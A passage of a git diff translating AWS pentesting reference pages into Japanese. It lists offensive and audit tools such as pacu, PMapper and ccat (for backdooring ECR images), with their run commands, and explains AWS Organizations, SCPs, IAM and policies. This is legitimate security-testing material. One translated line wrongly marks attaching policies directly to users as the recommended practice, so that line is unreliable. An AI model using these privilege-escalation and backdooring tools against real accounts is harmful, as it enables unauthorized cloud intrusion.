スキャンされたAWS環境で最も特権のあるユーザーを発見します。AWSシャドウ管理者を含みます。powershellを使用します。特権ポリシーの**定義**は、[https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1](https://github.com/cyberark/SkyArk/blob/master/AWStealth/AWStealth.ps1)の**`Check-PrivilegedPolicy`**関数内で見つけることができます。 +- [**pacu**](https://github.com/RhinoSecurityLabs/pacu): Pacuは、クラウド環境に対する攻撃的セキュリティテストのために設計されたオープンソースの**AWSエクスプロイトフレームワーク**です。**列挙**、**ミスコンフィギュレーション**の発見、そしてそれらを**エクスプロイト**することができます。特権の**定義**は、**`user_escalation_methods`**辞書内の[https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134](https://github.com/RhinoSecurityLabs/pacu/blob/866376cd711666c775bbfcde0524c817f2c5b181/pacu/modules/iam__privesc_scan/main.py#L134)で見つけることができます。 +- pacuは**自分のプライベスパスのみをチェックします**（アカウント全体ではありません）。 ```bash # Install ## Feel free to use venvs @@ -264,9 +255,7 @@ pacu > exec iam__enum_permissions # Get permissions > exec iam__privesc_scan # List privileged permissions ``` - -- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) is a script and library for identifying risks in the configuration of AWS Identity and Access Management (IAM) for an AWS account or an AWS organization. It models the different IAM Users and Roles in an account as a directed graph, which enables checks for **privilege escalation** and for alternate paths an attacker could take to gain access to a resource or action in AWS. You can check the **permissions used to find privesc** paths in the filenames ended in `_edges.py` in [https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) - +- [**PMapper**](https://github.com/nccgroup/PMapper): Principal Mapper (PMapper) は、AWS アカウントまたは AWS 組織の AWS Identity and Access Management (IAM) の設定におけるリスクを特定するためのスクリプトとライブラリです。これは、アカウント内の異なる IAM ユーザーとロールを有向グラフとしてモデル化し、**特権昇格**のチェックや、攻撃者が AWS 内のリソースやアクションにアクセスするために取る可能性のある代替経路を確認できるようにします。**privesc** パスを見つけるために使用される**権限**は、[https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing](https://github.com/nccgroup/PMapper/tree/master/principalmapper/graphing) の `_edges.py` で終わるファイル名で確認できます。 ```bash # Install pip install principalmapper @@ -288,10 +277,8 @@ pmapper --profile dev query 'preset privesc *' # Get privescs with admins pmapper --profile dev orgs create pmapper --profile dev orgs display ``` - -- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplaining is an AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized HTML report.\ - It will show you potentially **over privileged** customer, inline and aws **policies** and which **principals has access to them**. (It not only checks for privesc but also other kind of interesting permissions, recommended to use). - +- [**cloudsplaining**](https://github.com/salesforce/cloudsplaining): Cloudsplainingは、最小特権の違反を特定し、リスク優先のHTMLレポートを生成するAWS IAMセキュリティ評価ツールです。\ +それは、潜在的に**過剰な権限**を持つ顧客、インラインおよびAWS **ポリシー**、およびそれらにアクセスできる**プリンシパル**を示します。（それは特権昇格だけでなく、他の興味深い権限もチェックするため、使用を推奨します）。 ```bash # Install pip install cloudsplaining @@ -303,24 +290,20 @@ cloudsplaining download --profile dev # Analyze the IAM policies cloudsplaining scan --input-file /private/tmp/cloudsplaining/dev.json --output /tmp/files/ ``` - -- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJack assesses AWS accounts for **subdomain hijacking vulnerabilities** as a result of decoupled Route53 and CloudFront configurations. -- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): List ECR repos -> Pull ECR repo -> Backdoor it -> Push backdoored image -- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebag is a tool that **searches** through public Elastic Block Storage (**EBS) snapshots for secrets** that may have been accidentally left in. +- [**cloudjack**](https://github.com/prevade/cloudjack): CloudJackは、分離されたRoute53とCloudFrontの設定の結果として、AWSアカウントの**サブドメインハイジャック脆弱性**を評価します。 +- [**ccat**](https://github.com/RhinoSecurityLabs/ccat): ECRリポジトリのリスト -> ECRリポジトリをプル -> バックドアを仕掛ける -> バックドアを仕掛けたイメージをプッシュ +- [**Dufflebag**](https://github.com/bishopfox/dufflebag): Dufflebagは、公開されたElastic Block Storage（**EBS）スナップショット**を通じて、偶然に残された可能性のある秘密を**検索**するツールです。 ### Audit -- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** CloudSploit by Aqua is an open-source project designed to allow detection of **security risks in cloud infrastructure** accounts, including: Amazon Web Services (AWS), Microsoft Azure, Google Cloud Platform (GCP), Oracle Cloud Infrastructure (OCI), and GitHub (It doesn't look for ShadowAdmins). - +- [**cloudsploit**](https://github.com/aquasecurity/cloudsploit)**:** AquaのCloudSploitは、Amazon Web Services (AWS)、Microsoft Azure、Google Cloud Platform (GCP)、Oracle Cloud Infrastructure (OCI)、およびGitHubを含む**クラウドインフラストラクチャ**アカウントの**セキュリティリスク**を検出するために設計されたオープンソースプロジェクトです（ShadowAdminsは探しません）。 ```bash ./index.js --csv=file.csv --console=table --config ./config.js # Compiance options: --compliance {hipaa,cis,cis1,cis2,pci} ## use "cis" for cis level 1 and 2 ``` - -- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowler is an Open Source security tool to perform AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness. - +- [**Prowler**](https://github.com/prowler-cloud/prowler): Prowlerは、AWSのセキュリティベストプラクティスの評価、監査、インシデントレスポンス、継続的な監視、ハードニング、およびフォレンジック準備を行うためのオープンソースのセキュリティツールです。 ```bash # Install python3, jq and git # Install @@ -331,15 +314,11 @@ prowler -v prowler prowler aws --profile custom-profile [-M csv json json-asff html] ``` - -- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFox helps you gain situational awareness in unfamiliar cloud environments. It’s an open source command line tool created to help penetration testers and other offensive security professionals find exploitable attack paths in cloud infrastructure. - +- [**CloudFox**](https://github.com/BishopFox/cloudfox): CloudFoxは、未知のクラウド環境での状況認識を得るのに役立ちます。これは、ペネトレーションテスターや他の攻撃的セキュリティ専門家がクラウドインフラストラクチャ内の悪用可能な攻撃経路を見つけるために作成されたオープンソースのコマンドラインツールです。 ```bash cloudfox aws --profile [profile-name] all-checks ``` - -- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suite is an open source multi-cloud security-auditing tool, which enables security posture assessment of cloud environments. - +- [**ScoutSuite**](https://github.com/nccgroup/ScoutSuite): Scout Suiteは、クラウド環境のセキュリティ姿勢評価を可能にするオープンソースのマルチクラウドセキュリティ監査ツールです。 ```bash # Install virtualenv -p python3 venv @@ -350,18 +329,16 @@ scout --help # Get info scout aws -p dev ``` +- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): クラウドセキュリティスイート（python2.7を使用し、メンテナンスされていないようです） +- [**Zeus**](https://github.com/DenizParlak/Zeus): ZeusはAWS EC2 / S3 / CloudTrail / CloudWatch / KMSのベストハードニングプラクティスのための強力なツールです（メンテナンスされていないようです）。システム内のデフォルト設定されたクレデンシャルのみをチェックします。 -- [**cs-suite**](https://github.com/SecurityFTW/cs-suite): Cloud Security Suite (uses python2.7 and looks unmaintained) -- [**Zeus**](https://github.com/DenizParlak/Zeus): Zeus is a powerful tool for AWS EC2 / S3 / CloudTrail / CloudWatch / KMS best hardening practices (looks unmaintained). It checks only default configured creds inside the system. +### 定常監査 -### Constant Audit - -- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodian is a rules engine for managing public cloud accounts and resources. It allows users to **define policies to enable a well managed cloud infrastructure**, that's both secure and cost optimized. It consolidates many of the adhoc scripts organizations have into a lightweight and flexible tool, with unified metrics and reporting. -- [**pacbot**](https://github.com/tmobile/pacbot)**: Policy as Code Bot (PacBot)** is a platform for **continuous compliance monitoring, compliance reporting and security automation for the clou**d. In PacBot, security and compliance policies are implemented as code. All resources discovered by PacBot are evaluated against these policies to gauge policy conformance. The PacBot **auto-fix** framework provides the ability to automatically respond to policy violations by taking predefined actions. -- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlert is a serverless, **real-time** data analysis framework which empowers you to **ingest, analyze, and alert** on data from any environment, u**sing data sources and alerting logic you define**. Computer security teams use StreamAlert to scan terabytes of log data every day for incident detection and response. - -## DEBUG: Capture AWS cli requests +- [**cloud-custodian**](https://github.com/cloud-custodian/cloud-custodian): Cloud Custodianは、パブリッククラウドアカウントとリソースを管理するためのルールエンジンです。ユーザーは**適切に管理されたクラウドインフラストラクチャを有効にするポリシーを定義**することができます。これは、組織が持つ多くのアドホックスクリプトを軽量で柔軟なツールに統合し、統一されたメトリクスとレポートを提供します。 +- [**pacbot**](https://github.com/tmobile/pacbot)**: コードとしてのポリシーボット（PacBot）**は、**クラウドのための継続的なコンプライアンス監視、コンプライアンスレポート、およびセキュリティ自動化のプラットフォーム**です。PacBotでは、セキュリティとコンプライアンスのポリシーがコードとして実装されます。PacBotによって発見されたすべてのリソースは、これらのポリシーに対して評価され、ポリシーの適合性が測定されます。PacBotの**自動修正**フレームワークは、事前定義されたアクションを実行することによってポリシー違反に自動的に対応する能力を提供します。 +- [**streamalert**](https://github.com/airbnb/streamalert)**:** StreamAlertは、サーバーレスの**リアルタイム**データ分析フレームワークであり、**定義したデータソースとアラートロジックを使用して、任意の環境からデータを取り込み、分析し、アラートを出す**ことを可能にします。コンピュータセキュリティチームは、StreamAlertを使用して、インシデント検出と対応のために毎日テラバイトのログデータをスキャンします。 +## DEBUG: AWS cliリクエストをキャプチャする ```bash # Set proxy export HTTP_PROXY=http://localhost:8080 @@ -380,14 +357,9 @@ export AWS_CA_BUNDLE=~/Downloads/certificate.pem # Run aws cli normally trusting burp cert aws ... ``` - -## References +## 参考文献 - [https://www.youtube.com/watch?v=8ZXRw4Ry3mQ](https://www.youtube.com/watch?v=8ZXRw4Ry3mQ) - [https://cloudsecdocs.com/aws/defensive/tooling/audit/](https://cloudsecdocs.com/aws/defensive/tooling/audit/) {{#include ../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-basic-information/README.md b/src/pentesting-cloud/aws-security/aws-basic-information/README.md index 02e6e7729..87269d440 100644 --- a/src/pentesting-cloud/aws-security/aws-basic-information/README.md +++ b/src/pentesting-cloud/aws-security/aws-basic-information/README.md @@ -1,331 +1,317 @@ -# AWS - Basic Information +# AWS - 基本情報 {{#include ../../../banners/hacktricks-training.md}} -## Organization Hierarchy +## 組織階層 ![](<../../../images/image (151).png>) -### Accounts +### アカウント -In AWS there is a **root account,** which is the **parent container for all the accounts** for your **organization**. However, you don't need to use that account to deploy resources, you can create **other accounts to separate different AWS** infrastructures between them. +AWSには**ルートアカウント**があり、これは**組織内のすべてのアカウントの親コンテナ**です。しかし、そのアカウントを使用してリソースをデプロイする必要はなく、**異なるAWS**インフラストラクチャを分離するために**他のアカウントを作成することができます**。 -This is very interesting from a **security** point of view, as **one account won't be able to access resources from other account** (except bridges are specifically created), so this way you can create boundaries between deployments. +これは**セキュリティ**の観点から非常に興味深いことであり、**1つのアカウントは他のアカウントのリソースにアクセスできません**（特別にブリッジが作成されない限り）。このようにして、デプロイメント間に境界を作成できます。 -Therefore, there are **two types of accounts in an organization** (we are talking about AWS accounts and not User accounts): a single account that is designated as the management account, and one or more member accounts. +したがって、**組織内には2種類のアカウントがあります**（AWSアカウントについて話しており、ユーザーアカウントではありません）：管理アカウントとして指定された単一のアカウントと、1つ以上のメンバーアカウントです。 -- The **management account (the root account)** is the account that you use to create the organization. From the organization's management account, you can do the following: +- **管理アカウント（ルートアカウント）**は、組織を作成するために使用するアカウントです。組織の管理アカウントから、次のことができます： - - Create accounts in the organization - - Invite other existing accounts to the organization - - Remove accounts from the organization - - Manage invitations - - Apply policies to entities (roots, OUs, or accounts) within the organization - - Enable integration with supported AWS services to provide service functionality across all of the accounts in the organization. - - It's possible to login as the root user using the email and password used to create this root account/organization. +- 組織内にアカウントを作成する +- 他の既存のアカウントを組織に招待する +- 組織からアカウントを削除する +- 招待を管理する +- 組織内のエンティティ（ルート、OU、またはアカウント）にポリシーを適用する +- 組織内のすべてのアカウントにサービス機能を提供するために、サポートされているAWSサービスとの統合を有効にする。 +- このルートアカウント/組織を作成するために使用されたメールアドレスとパスワードを使用して、ルートユーザーとしてログインすることが可能です。 - The management account has the **responsibilities of a payer account** and is responsible for paying all charges that are accrued by the member accounts. You can't change an organization's management account. - -- **Member accounts** make up all of the rest of the accounts in an organization. An account can be a member of only one organization at a time. You can attach a policy to an account to apply controls to only that one account. - - Member accounts **must use a valid email address** and can have a **name**, in general they wont be able to manage the billing (but they might be given access to it). +管理アカウントは**支払いアカウントの責任**を持ち、メンバーアカウントによって発生したすべての料金を支払う責任があります。組織の管理アカウントを変更することはできません。 +- **メンバーアカウント**は、組織内の残りのすべてのアカウントを構成します。アカウントは、一度に1つの組織のメンバーであることができます。アカウントにポリシーを添付して、そのアカウントのみに制御を適用することができます。 +- メンバーアカウントは**有効なメールアドレスを使用する必要があります**。一般的に、**名前**を持つことができ、請求を管理することはできません（ただし、アクセスが与えられる場合があります）。 ``` aws organizations create-account --account-name testingaccount --email testingaccount@lalala1233fr.com ``` +### **組織単位** -### **Organization Units** - -Accounts can be grouped in **Organization Units (OU)**. This way, you can create **policies** for the Organization Unit that are going to be **applied to all the children accounts**. Note that an OU can have other OUs as children. - +アカウントは**組織単位 (OU)**にグループ化できます。この方法で、組織単位に対して**ポリシー**を作成し、それが**すべての子アカウントに適用される**ようにできます。OUは他のOUを子として持つことができることに注意してください。 ```bash # You can get the root id from aws organizations list-roots aws organizations create-organizational-unit --parent-id r-lalala --name TestOU ``` +### サービス制御ポリシー (SCP) -### Service Control Policy (SCP) +**サービス制御ポリシー (SCP)** は、SCPが影響を与えるアカウント内でユーザーとロールが使用できるサービスとアクションを指定するポリシーです。SCPは**IAM** 権限ポリシーに**似ていますが、**権限を付与することはありません**。代わりに、SCPは組織、組織単位 (OU)、またはアカウントの**最大権限**を指定します。SCPを組織のルートまたはOUにアタッチすると、**SCPはメンバーアカウント内のエンティティの権限を制限します**。 -A **service control policy (SCP)** is a policy that specifies the services and actions that users and roles can use in the accounts that the SCP affects. SCPs are **similar to IAM** permissions policies except that they **don't grant any permissions**. Instead, SCPs specify the **maximum permissions** for an organization, organizational unit (OU), or account. When you attach a SCP to your organization root or an OU, the **SCP limits permissions for entities in member accounts**. - -This is the ONLY way that **even the root user can be stopped** from doing something. For example, it could be used to stop users from disabling CloudTrail or deleting backups.\ -The only way to bypass this is to compromise also the **master account** that configures the SCPs (master account cannot be blocked). +これは**ルートユーザーでさえも何かを行うのを止める唯一の方法**です。例えば、CloudTrailを無効にしたり、バックアップを削除したりするのをユーザーに止めるために使用できます。\ +これを回避する唯一の方法は、SCPを設定する**マスターアカウント**も侵害することです（マスターアカウントはブロックできません）。 > [!WARNING] -> Note that **SCPs only restrict the principals in the account**, so other accounts are not affected. This means having an SCP deny `s3:GetObject` will not stop people from **accessing a public S3 bucket** in your account. +> **SCPはアカウント内のプリンシパルのみを制限する**ため、他のアカウントには影響しません。これは、SCPが` s3:GetObject`を拒否しても、あなたのアカウント内の**公開S3バケットにアクセスすることを止めることはない**ことを意味します。 -SCP examples: +SCPの例： -- Deny the root account entirely -- Only allow specific regions -- Only allow white-listed services -- Deny GuardDuty, CloudTrail, and S3 Public Block Access from +- ルートアカウントを完全に拒否 +- 特定のリージョンのみを許可 +- ホワイトリストに登録されたサービスのみを許可 +- GuardDuty、CloudTrail、およびS3のパブリックブロックアクセスを無効にすることを拒否 - being disabled +- セキュリティ/インシデントレスポンスロールの削除または -- Deny security/incident response roles from being deleted or +変更を拒否。 - modified. +- バックアップの削除を拒否。 +- IAMユーザーとアクセスキーの作成を拒否。 -- Deny backups from being deleted. -- Deny creating IAM users and access keys - -Find **JSON examples** in [https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html) +**JSONの例**は[https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_manage_policies_scps_examples.html)で見つけてください。 ### ARN -**Amazon Resource Name** is the **unique name** every resource inside AWS has, its composed like this: - +**Amazonリソース名**は、AWS内のすべてのリソースが持つ**一意の名前**で、次のように構成されています： ``` arn:partition:service:region:account-id:resource-type/resource-id arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env ``` - -Note that there are 4 partitions in AWS but only 3 ways to call them: +注意：AWSには4つのパーティションがありますが、それを呼び出す方法は3つだけです： - AWS Standard: `aws` - AWS China: `aws-cn` - AWS US public Internet (GovCloud): `aws-us-gov` - AWS Secret (US Classified): `aws` -## IAM - Identity and Access Management +## IAM - アイデンティティとアクセス管理 -IAM is the service that will allow you to manage **Authentication**, **Authorization** and **Access Control** inside your AWS account. +IAMは、AWSアカウント内で**認証**、**認可**、および**アクセス制御**を管理することを可能にするサービスです。 -- **Authentication** - Process of defining an identity and the verification of that identity. This process can be subdivided in: Identification and verification. -- **Authorization** - Determines what an identity can access within a system once it's been authenticated to it. -- **Access Control** - The method and process of how access is granted to a secure resource +- **認証** - アイデンティティを定義し、そのアイデンティティを検証するプロセス。このプロセスは、識別と検証に分けることができます。 +- **認可** - アイデンティティがシステム内でアクセスできるものを決定します。 +- **アクセス制御** - セキュアなリソースへのアクセスがどのように付与されるかの方法とプロセス -IAM can be defined by its ability to manage, control and govern authentication, authorization and access control mechanisms of identities to your resources within your AWS account. +IAMは、AWSアカウント内のリソースに対するアイデンティティの認証、認可、アクセス制御メカニズムを管理、制御、統治する能力によって定義されます。 -### [AWS account root user](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) +### [AWSアカウントのルートユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) -When you first create an Amazon Web Services (AWS) account, you begin with a single sign-in identity that has **complete access to all** AWS services and resources in the account. This is the AWS account _**root user**_ and is accessed by signing in with the **email address and password that you used to create the account**. +Amazon Web Services (AWS) アカウントを最初に作成すると、アカウント内のすべてのAWSサービスとリソースに**完全にアクセスできる**単一のサインインアイデンティティが作成されます。これがAWSアカウントの_**ルートユーザー**_であり、**アカウントを作成する際に使用したメールアドレスとパスワードでサインインすることでアクセスします**。 -Note that a new **admin user** will have **less permissions that the root user**. +新しい**管理者ユーザー**は**ルートユーザーよりも権限が少ない**ことに注意してください。 -From a security point of view, it's recommended to create other users and avoid using this one. +セキュリティの観点からは、他のユーザーを作成し、このユーザーの使用を避けることが推奨されます。 -### [IAM users](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) +### [IAMユーザー](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) -An IAM _user_ is an entity that you create in AWS to **represent the person or application** that uses it to **interact with AWS**. A user in AWS consists of a name and credentials (password and up to two access keys). +IAM _ユーザー_ は、AWS内で**人またはアプリケーションを表す**ために作成するエンティティです。AWSのユーザーは、名前と資格情報（パスワードと最大2つのアクセスキー）で構成されます。 -When you create an IAM user, you grant it **permissions** by making it a **member of a user group** that has appropriate permission policies attached (recommended), or by **directly attaching policies** to the user. +IAMユーザーを作成すると、適切な権限ポリシーが添付された**ユーザーグループのメンバー**にすることで**権限**を付与するか、**ポリシーをユーザーに直接添付**することができます（推奨）。 -Users can have **MFA enabled to login** through the console. API tokens of MFA enabled users aren't protected by MFA. If you want to **restrict the access of a users API keys using MFA** you need to indicate in the policy that in order to perform certain actions MFA needs to be present (example [**here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)). +ユーザーは、コンソールを通じて**MFAを有効にしてログイン**できます。MFAが有効なユーザーのAPIトークンはMFAによって保護されていません。ユーザーのAPIキーのアクセスをMFAを使用して**制限したい場合**は、特定のアクションを実行するためにMFAが必要であることをポリシーに示す必要があります（例：[**こちら**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)）。 #### CLI -- **Access Key ID**: 20 random uppercase alphanumeric characters like AKHDNAPO86BSHKDIRYT -- **Secret access key ID**: 40 random upper and lowercase characters: S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU (It's not possible to retrieve lost secret access key IDs). +- **アクセスキーID**: 20のランダムな大文字の英数字の文字列（例：AKHDNAPO86BSHKDIRYT） +- **シークレットアクセスキーID**: 40のランダムな大文字と小文字の文字列（例：S836fh/J73yHSb64Ag3Rkdi/jaD6sPl6/antFtU）（失われたシークレットアクセスキーIDを取得することはできません）。 -Whenever you need to **change the Access Key** this is the process you should follow:\ +アクセスキーを**変更する必要がある場合**は、次のプロセスに従う必要があります：\ &#xNAN;_Create a new access key -> Apply the new key to system/application -> mark original one as inactive -> Test and verify new access key is working -> Delete old access key_ -### MFA - Multi Factor Authentication +### MFA - 多要素認証 -It's used to **create an additional factor for authentication** in addition to your existing methods, such as password, therefore, creating a multi-factor level of authentication.\ -You can use a **free virtual application or a physical device**. You can use apps like google authentication for free to activate a MFA in AWS. +これは、既存の方法（パスワードなど）に加えて**認証のための追加の要素を作成する**ために使用され、マルチファクターレベルの認証を作成します。\ +無料の仮想アプリケーションや物理デバイスを使用できます。Google認証などのアプリを無料で使用してAWSでMFAを有効にできます。 -Policies with MFA conditions can be attached to the following: +MFA条件を持つポリシーは、以下に添付できます： -- An IAM user or group -- A resource such as an Amazon S3 bucket, Amazon SQS queue, or Amazon SNS topic -- The trust policy of an IAM role that can be assumed by a user - -If you want to **access via CLI** a resource that **checks for MFA** you need to call **`GetSessionToken`**. That will give you a token with info about MFA.\ -Note that **`AssumeRole` credentials don't contain this information**. +- IAMユーザーまたはグループ +- Amazon S3バケット、Amazon SQSキュー、またはAmazon SNSトピックなどのリソース +- ユーザーによって引き受けられるIAMロールの信頼ポリシー +MFAを**チェックする**リソースに**CLI経由でアクセスしたい場合**は、**`GetSessionToken`**を呼び出す必要があります。これにより、MFAに関する情報を含むトークンが得られます。\ +**`AssumeRole`の資格情報にはこの情報が含まれていない**ことに注意してください。 ```bash aws sts get-session-token --serial-number --token-code ``` +As [**ここに記載されているように**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html)、**MFAを使用できない**さまざまなケースがあります。 -As [**stated here**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html), there are a lot of different cases where **MFA cannot be used**. +### [IAMユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) -### [IAM user groups](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) +IAM [ユーザーグループ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html)は、**複数のユーザーにポリシーを一度に適用する**方法であり、これによりそれらのユーザーの権限を管理しやすくなります。**ロールとグループはグループの一部にはなれません**。 -An IAM [user group](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) is a way to **attach policies to multiple users** at one time, which can make it easier to manage the permissions for those users. **Roles and groups cannot be part of a group**. +**ユーザーグループにアイデンティティベースのポリシーを適用する**ことで、ユーザーグループ内のすべての**ユーザー**が**ポリシーの権限を受け取る**ことができます。**ユーザーグループ**を**ポリシー**（リソースベースのポリシーなど）内の**`Principal`**として特定することは**できません**。なぜなら、グループは権限に関連し、認証には関連しないため、プリンシパルは認証されたIAMエンティティだからです。 -You can attach an **identity-based policy to a user group** so that all of the **users** in the user group **receive the policy's permissions**. You **cannot** identify a **user group** as a **`Principal`** in a **policy** (such as a resource-based policy) because groups relate to permissions, not authentication, and principals are authenticated IAM entities. +ユーザーグループのいくつかの重要な特徴は次のとおりです： -Here are some important characteristics of user groups: +- ユーザー**グループ**は**多くのユーザーを含むことができ**、**ユーザー**は**複数のグループに属することができ**ます。 +- **ユーザーグループはネストできません**。ユーザーのみを含むことができ、他のユーザーグループは含められません。 +- **すべてのユーザーを自動的に含むデフォルトのユーザーグループはAWSアカウントには存在しません**。そのようなユーザーグループを持ちたい場合は、自分で作成し、新しいユーザーをそれに割り当てる必要があります。 +- AWSアカウント内のIAMリソースの数とサイズ（グループの数や、ユーザーがメンバーになれるグループの数など）は制限されています。詳細については、[IAMおよびAWS STSのクォータ](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html)を参照してください。 -- A user **group** can **contain many users**, and a **user** can **belong to multiple groups**. -- **User groups can't be nested**; they can contain only users, not other user groups. -- There is **no default user group that automatically includes all users in the AWS account**. If you want to have a user group like that, you must create it and assign each new user to it. -- The number and size of IAM resources in an AWS account, such as the number of groups, and the number of groups that a user can be a member of, are limited. For more information, see [IAM and AWS STS quotas](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html). +### [IAMロール](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) -### [IAM roles](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) +IAM **ロール**は**ユーザー**に非常に**似ており**、AWS内で**何ができるかを決定する権限ポリシーを持つアイデンティティ**です。しかし、ロールには**関連付けられた資格情報**（パスワードやアクセスキー）が**ありません**。特定の人に一意に関連付けられるのではなく、ロールは**必要な人（十分な権限を持つ人）が引き受けることを意図しています**。IAMユーザーは、特定のタスクのために一時的に異なる権限を取得するためにロールを**引き受けることができます**。ロールは、IAMの代わりに外部アイデンティティプロバイダーを使用してサインインする[**フェデレーテッドユーザー**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html)に**割り当てることができます**。 -An IAM **role** is very **similar** to a **user**, in that it is an **identity with permission policies that determine what** it can and cannot do in AWS. However, a role **does not have any credentials** (password or access keys) associated with it. Instead of being uniquely associated with one person, a role is intended to be **assumable by anyone who needs it (and have enough perms)**. An **IAM user can assume a role to temporarily** take on different permissions for a specific task. A role can be **assigned to a** [**federated user**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) who signs in by using an external identity provider instead of IAM. +IAMロールは**2種類のポリシー**で構成されています：**信頼ポリシー**（空であってはならず、**誰がロールを引き受けることができるかを定義**）と、**権限ポリシー**（空であってはならず、**何にアクセスできるかを定義**）。 -An IAM role consists of **two types of policies**: A **trust policy**, which cannot be empty, defining **who can assume** the role, and a **permissions policy**, which cannot be empty, defining **what it can access**. +#### AWSセキュリティトークンサービス（STS） -#### AWS Security Token Service (STS) +AWSセキュリティトークンサービス（STS）は、**一時的で制限された権限の資格情報を発行する**ためのウェブサービスです。これは特に次の目的に特化しています： -AWS Security Token Service (STS) is a web service that facilitates the **issuance of temporary, limited-privilege credentials**. It is specifically tailored for: +### [IAMにおける一時的な資格情報](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) -### [Temporary credentials in IAM](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) +**一時的な資格情報は主にIAMロールと共に使用されます**が、他の用途もあります。標準のIAMユーザーよりも制限された権限セットを持つ一時的な資格情報を要求できます。これにより、**より制限された資格情報によって許可されていないタスクを誤って実行することを防ぎます**。一時的な資格情報の利点は、設定された期間の後に自動的に期限切れになることです。資格情報が有効な期間を制御できます。 -**Temporary credentials are primarily used with IAM roles**, but there are also other uses. You can request temporary credentials that have a more restricted set of permissions than your standard IAM user. This **prevents** you from **accidentally performing tasks that are not permitted** by the more restricted credentials. A benefit of temporary credentials is that they expire automatically after a set period of time. You have control over the duration that the credentials are valid. +### ポリシー -### Policies +#### ポリシー権限 -#### Policy Permissions +権限を割り当てるために使用されます。2種類あります： -Are used to assign permissions. There are 2 types: - -- AWS managed policies (preconfigured by AWS) -- Customer Managed Policies: Configured by you. You can create policies based on AWS managed policies (modifying one of them and creating your own), using the policy generator (a GUI view that helps you granting and denying permissions) or writing your own.. - -By **default access** is **denied**, access will be granted if an explicit role has been specified.\ -If **single "Deny" exist, it will override the "Allow"**, except for requests that use the AWS account's root security credentials (which are allowed by default). +- AWS管理ポリシー（AWSによって事前構成されたもの） +- カスタマー管理ポリシー：あなたが構成したもの。AWS管理ポリシーに基づいてポリシーを作成できます（そのうちの1つを修正して独自のものを作成する）、ポリシージェネレーターを使用する（権限を付与および拒否するのを助けるGUIビュー）または独自に作成することができます。 +**デフォルトのアクセスは** **拒否されます**。明示的なロールが指定された場合にのみアクセスが許可されます。\ +**単一の「拒否」が存在する場合、それは「許可」を上書きします**。AWSアカウントのルートセキュリティ資格情報を使用するリクエスト（デフォルトで許可されている）は除きます。 ```javascript { - "Version": "2012-10-17", //Version of the policy - "Statement": [ //Main element, there can be more than 1 entry in this array - { - "Sid": "Stmt32894y234276923" //Unique identifier (optional) - "Effect": "Allow", //Allow or deny - "Action": [ //Actions that will be allowed or denied - "ec2:AttachVolume", - "ec2:DetachVolume" - ], - "Resource": [ //Resource the action and effect will be applied to - "arn:aws:ec2:*:*:volume/*", - "arn:aws:ec2:*:*:instance/*" - ], - "Condition": { //Optional element that allow to control when the permission will be effective - "ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} - } - } - ] +"Version": "2012-10-17", //Version of the policy +"Statement": [ //Main element, there can be more than 1 entry in this array +{ +"Sid": "Stmt32894y234276923" //Unique identifier (optional) +"Effect": "Allow", //Allow or deny +"Action": [ //Actions that will be allowed or denied +"ec2:AttachVolume", +"ec2:DetachVolume" +], +"Resource": [ //Resource the action and effect will be applied to +"arn:aws:ec2:*:*:volume/*", +"arn:aws:ec2:*:*:instance/*" +], +"Condition": { //Optional element that allow to control when the permission will be effective +"ArnEquals": {"ec2:SourceInstanceARN": "arn:aws:ec2:*:*:instance/instance-id"} +} +} +] } ``` +The 